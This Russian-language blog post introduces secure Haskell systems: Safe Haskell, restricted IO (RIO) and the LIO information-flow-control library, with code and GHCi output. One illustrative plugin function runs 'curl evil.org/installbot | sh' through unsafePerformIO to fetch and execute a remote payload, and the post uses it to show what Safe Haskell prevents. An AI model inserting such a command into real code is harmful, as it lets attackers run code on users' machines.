Ограниченное IO и защищенные системы (введение)

В данном посте пойдет речь про возможности для создания защищенных систем и введение во фреймворк, позволяющий писать такие программы. В дальнейшем, если будет интерес к данным вопросам, планируется углубление в данную тему.

Формулировка проблемы

Под защищенной системой предполагается система, состоящая из одного или более узлов, устойчивая к запуску недоверенного кода, который лишается возможности нарушить инварианты системы.

Где это может применяться? Простым примером может служить веб-сайт, на котором нужно запускать плагины от третьих лиц. В этом случае желательно, чтобы плагины не могли нарушить работу системы, получить привилигерованный доступ или получить доступ к данным в приложении, которые не должны быть доступны плагину.

Более сложным примером может служить система с повышенными требованиями к безопасности, где для каждого блока данных существует определенный набор правил. Правила регламентируют кто и какие операции с ними может совершать, и желательно, чтобы весь написанный код, автоматически гарантировал сохранность этих инвариантов. Это позволит при анализе кода необходимо проверять только сами правила, а не весь исходный код.

Безопасность за счет типов

Рассмотрим простейшие примеры того, как можно добиться безопасности. Поскольку Haskell является безопасным языком и все возможные эффекты выражены в типах функций, то можно предположить, что функции без нежелательных эффектов являются безопасными.

Будем рассматривать первый пример - сайт, на который мы ходим добавить сервис переводов. Пусть плагин предоставляет следующую функцию:

toRussian :: ByteString -> ByteString

Исходя из типов данному коду можно доверять, поскольку он не содержит эффектов, и в худшем случае текст страницы будет сломан. Какие с ним могут быть проблемы:

  1. код может быть плохо написан и потреблять много ресурсов (выходит за рамки данной статьи.

  2. выполнение кода может не завершаться:

     toJerkish :: ByteString -> ByteString
     toJerkish xs 
       | 'a' <- B.head xs = toRussian xs    -- KABOOM!
       | otherwise        = saneStuff

    естественно, это печальное поведение, но, опять же не приводит к нарушению гарантий безопасности и мы его не рассматриваем.

  3. Но возможен и такой случай:

      toJerkish :: ByteString -> ByteString
      toJerkish = unsafePerformIO $ do
          system "curl evil.org/installbot | sh"
          return "ЙА пАиМел тИбЯ"

    Данный код, ествественно, приводит к проблемам в безопасности и его бы хотелось исключить.

Для третьего случая есть решение - использование расширения Safe Haskell.

Safe Haskell

Начиная с ghc версии 7.2 haskell предоставляет расширение Safe Haskell, включающееся опцией -XSafe. Это расширение не позволяет включать в код небезопасные модули, например System.IO.Unsafe, таким образом использование unsafePerformIO и других подобных функций будет невозможно.

В дополнение расширение позволяет использовать безопасные импорты, т.е.

import safe Evil.Code

В этом случае подключаемый модуль будет проверен на безопасность (т.е. то, что он не использует небезопасные модули).

Однако, возникает вопрос, как же можно использовать модуль, работающий с типом ByteString, если для его реализации используются небезопасные функции?

head :: {- Lazy -} ByteString -> Word8
head Empty       = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c

unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
    inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s

Рассмотрим, как в Haskell решается эта проблема. Модули, помеченные как безопасные, могут использовать, в свою очередь, только безопасные модули. Существует два типа безопасных модулей:

Таким образом такие модули как Data.ByteString могут быть собраны с флагом -XTrustworthy. Обычно для решения таких вопросов все небезопасные функции помещают в отдельный модуль, например Data.ByteString.Unsafe. Таким образом доказывается, что функции экспортируемые Data.ByteString, не могут быть использованы небезопасным образом, даже в том случае, когда внутренние модули используют небезопасные функции.

Естественно, существуют механизмы управления доверием автору модуля, при помощи которых можно указать, доверять ли флагу -XTrustworthy. Флаг -trust Pkg, -distruct Pkg, -distrust-all-packages.

Использование ограниченного IO

Проблема с чистыми функциями может считаться отчасти решенной, но что если для работы функции действительно необходимы IO эффекты. Например, сервис переводит реальный язык и должен общаться с сервером словаря?

Решение данной проблемы заключается в использовании ограниченного IO (RIO) небезопасный код реализует функцию ввода-вывода:

googleTranslate :: Language -> L.ByteString -> RIO L.ByteString

Но использует монаду RIO. Таким образом доверенный модуль реализует функции RIO для доступа к сети, проверяет параметры и отклоняет опасные операции.

{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where

-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a) -- constructor is not exported !
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io

instance Monad RIO where
    return = UnsafeRIO . return
    m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k

-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = {- Implement some policy based on file name -}

readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
  ok <- pathOK file
  if ok then Prelude.readFile file else return ""

Примеры политик для RIO:

Но, все же решение с RIO не достаточно, если мы вспомним все варианты использования, которые мы хотим решить.

Таким образом, очевидно что для того, чтобы полноценно решить проблему безопасности, необходимо следить за тем, какая информация может быть опубликована, а какая нет. Так, например, разрешать отдавать в сеть публичные данные, и запрещать приватные. Для решения этой проблемы существует решение: Децентрализовнный Контроль За потоками информации (Decentralized Information Flow Control / DIFC)

Тегированное IO

Команда из Стенфорда предлагает следующее решение - библиотеку LIO. Корни данного решения уходят в военные приложения и приложения работающие с секретными данными. И заключается оно в следующем:

Пример: расмотрим процесс vim с меткой Lv, и файл с меткой Lf; если файл читается то система требует, чтобы выполнялось соотношение Lf ⊑ Lv (файл может переходить к редактору); если файл записывается, то требуется, чтобы выполнялось соотношение Lv ⊑ Lf; если файл и пишется и читается, то Lv ⊑ Lf ⊑ Lv.

Подобные соотношения являются тразитивными, что позволяет гораздо лучше оценивать безопасность. Предположим у нас есть файл Lf, при этом этот файл нельзя передавать по сети (например приватный ключ), т.е. есть соотношение Lf! ⊑ Ln . Теперь пусть процесс P читает данный файл, таким образом требуется Lf ⊑ LP. Затем данный процесс хочет работать с сетью, что предполагает LP ⊑ Ln, однако Lf ⊑ Lp ∧ Lp ⊑ Ln ⇒ Lf ⊑ Ln - противоречие, т.е. LP! ⊑ LN. Следовательно, процесс, получивший доступ к подобному файлу, не может общаться с сетью, и наоборот, если процесс общается с сетью, то он не может получить доступ к файлу.

Представим двух пользвателей, A и B, публичную информацию обозначим тегом L, приватные данные A - LA, приватные данные B - LB соответсвенно. Что произойдёт, если смешать приватные данные A и B в одном документе?. И A и B должны огорчатся если такой документ будет опубликован, соотвественно требуется, чтобы он был, как минимум, настолько же ограничен, насколько ограничены LA и LB. Для этого используется нижняя граница (или lub или join) LA и LB, которая записывается как LA ⊔ LB.

    A ⊔ B
   /     \
 ⊑/       \⊑ 
 /         \
A           B
 \         /
 ⊑\       /⊑ 
   \     /
      ∅        

Каждый процесс может обладать набором привилегий, используя привелению p, изменяет требование LF ⊑ pLproc на чтение и дополнительно Lproc ⊑ pLF на запить файла. Операция  ⊑ p читается как “с учетом привигений р может переходить к” (``can flow under privileges p’’) и дозволяет больше, чем  ⊑ . Идея этой операции заключется в том, что вы можете управлять уместными привилегиями. 

Пример привилегий: опять рассмотрим пример с двумя пользователями, Очевидно, что должны выполняться условия A ⊑ aL и LB ⊑ bL, т.е. пользователи могут создавать публичную или рассекречивать собственную информацию. Пользователи могут частично рассекречивать информацию, т.е.: LAB ⊑ aLB и LAB ⊑ bLA

При работе с тегированными элементами обычно производится не проверка ограничений, а повышение текущего тега процесса так чтобы могли быть исполнены все действия. Так же можно задавать максимальный уровень доверия (clearance), выше которого доверие процесса не может быть повышено и действия приведут к исключению.

Пример возможных правил

Введем решетку:

             1
           /    \
          /      \
... ->   B_i^j -> B_j^k -> ...
       /     \   /
      A_i     A_j  ...
       \      /
        \    /
           0

С типами 0, Ai, Bij, 1 – где:

С помощью этой решетки мы можем ограничить процессу возможность получения данных от разных процессов:

test i s = do
    a1 <- evalLIO (newLIORef (A 1) "M1") (LIOState (A 1) O)
    a2 <- evalLIO (newLIORef (A 2) "M2") (LIOState (A 2) O)
    a3 <- evalLIO (newLIORef (A 3) "M3") (LIOState (A 3) O)
    let state = [("A",a1),("B",a2),("C",a3)]
    runLIO (go (i::Int) state) (LIOState (A 1) s)
  where 
    go 0 x = mailboxRead x "A"
    go 1 x = mailboxRead x "B" >> go 0 x
    go 2 x = mailboxRead x "C" >> go 1 x
 -- запускаем тест, без ограничения (максимальный уровень доверия)
 *Main> test 0 O
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = O})\
 -- программа получала доступ только к своей ячейке - метка не изменяется
 *Main> test 1 O
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = O})
 -- программа получала доступ к двум ячейкам - соотвественно метка изменилась
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 -- программа получала доступ к трем ячейчас - соотвественно метка стала 1 (One)

 -- Теперь запустим тесты с огрниченным уровнем доверия
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 *Main> test 0 (B 1 2)
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = B 1 2})
 *Main> test 1 (B 1 2)
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = B 1 2})
 *Main> test 2 (B 1 2)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 2, lerrPrivs = [], lerrLabels = [A 3]}
 -- получили исключение в связи с попыткой превышения прав.
 *Main> test 1 (B 1 3)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 3, lerrPrivs = [], lerrLabels = [A 2]}

В дальнейших постах могут быть рассмотрены и более сложные возможности применения библиотеки, такие как:

* использование привилегий;
* более сложные правила для тегов, использующиеся для описания сложных систем;
* полный пример небольшого защищенного сервиса.

Если кому-нибудь интересно, то можно продолжить.

Как решаются подобные проблемы в других системах?

Как мы могли заметить, возможность создания такого фреймворка полагается на мощную систему типов, позволяющую контролировать эффекты, чистоту языка и специальные расширения компилятора.

Подобного эффекта можно добиться в языках, которые дают возможность использовать песочницы и позволяют подключить библиотеки для АОП (аспектно ориентированного программирования). Но такой подход значительно усложняет архитектуру приложения.

В операционных системах так же существуют специльные решения, направленные на решение той же проблемы, например selinux.

В целом же защищенная система должна включать защиты на всех уровнях, возможная контейнеризация, selinux, безопасность внутри программы, только в этом случае решение может быть достигнуто. Но подобные библиотеки и возможности языка существенно повышают качество системы.